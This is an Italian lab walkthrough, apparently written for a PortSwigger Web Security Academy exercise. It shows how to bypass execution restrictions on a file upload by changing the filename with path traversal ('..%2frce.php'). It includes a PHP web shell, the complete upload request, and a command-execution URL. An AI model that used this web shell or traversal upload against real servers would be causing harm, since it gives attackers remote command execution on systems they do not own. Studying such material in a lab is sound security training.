tags: File_Upload File_Upload_Evasion File_Upload_Filename
Può succedere che il server sia vulnerabile ad un attacco di file upload, ma che sia impossibile eseguire il codice nella pagina in cui viene salvato il nostro file a causa di specifiche restrizioni su quella determinata pagina. Per ovviare a questo problema possiamo provare a caricare il nostro file su una pagina diversa da quella predefinita dal server in modo tale da evadere tutte le restrizioni della pagina predefinita.
Per fare questo possiamo modificare il filename della richiesta tramite BurpSuite.
Come rce possiamo usare il seguente codice:
<?php system($_GET['cmd']); ?>Oppure:
<?php
// Esegue il comando passato nel parametro URL 'cmd'
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Per prima cosa troviamo la richiesta del caricamento del file come per esempio:
POST /my-account/avatar HTTP/2
Host: 0a9c00d40348e12480356c4e00c80090.web-security-academy.net
Cookie: session=3evLPnwplyVWFKzBHrzJIDsUIzLdVnMw
Content-Length: 466
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a9c00d40348e12480356c4e00c80090.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfmeU7yijyoTPxpVI
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9c00d40348e12480356c4e00c80090.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryfmeU7yijyoTPxpVI
Content-Disposition: form-data; name="avatar"; filename="rce.php"
Content-Type: application/x-php
<?php
// Esegue il comando passato nel parametro URL 'cmd'
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
------WebKitFormBoundaryfmeU7yijyoTPxpVI
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryfmeU7yijyoTPxpVI
Content-Disposition: form-data; name="csrf"
LeOANHNFpbPBoFW2DqogehhDXi1n5Kmf
------WebKitFormBoundaryfmeU7yijyoTPxpVI--
La mandiamo al Repeater e modifichiamo il filename nel seguente modo:
filename="..%2frce.php"Con questo trucco stiamo dicendo al server di spostare il salvataggio del file un gradino sopra, cioè al posto che salvarlo in file/avatars/rce.php lo salva in file/rce.php dove si spera non ci siano restrizioni (il %2f è lo / codificato).
Ora che abbiamo caricato il file in un’altra cartella ci possiamo dirigiere a quella cartella con il browser ed eseguire la rce:
https://web-security-academy.net/files/rce.php?cmd=id